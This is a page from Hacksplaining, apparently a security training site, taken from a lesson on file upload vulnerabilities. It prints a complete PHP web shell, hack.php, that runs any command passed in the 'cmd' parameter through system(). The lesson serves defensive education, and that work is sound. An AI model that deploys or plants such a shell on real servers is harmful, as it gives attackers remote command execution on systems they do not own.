Hacksplaining
FeaturesLessonsEnterpriseThe BookOWASP Top 10PCI Compliance
Sign Up
Log In
FeaturesLessonsEnterpriseThe BookOWASP Top 10PCI Compliance Sign Up Log In

File Upload Vulnerabilities

Mal writes a simple script called hack.php. When this web shell is executed by PHP, it will run any command passed in the cmd parameter.

Mal writes a simple script called hack.php. When this web shell is executed by PHP, it will run any command passed in the cmd parameter.

A hacker
A Web Shell
<?php
  if(isset($_REQUEST['cmd'])) {
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
  } else {
    echo "What is your bidding?";
  }
?>
Lessons
Glossary
Terms and Conditions
Privacy Policy

© 2026 Hacksplaining Inc. All rights reserved. Questions? Email us at support@hacksplaining.com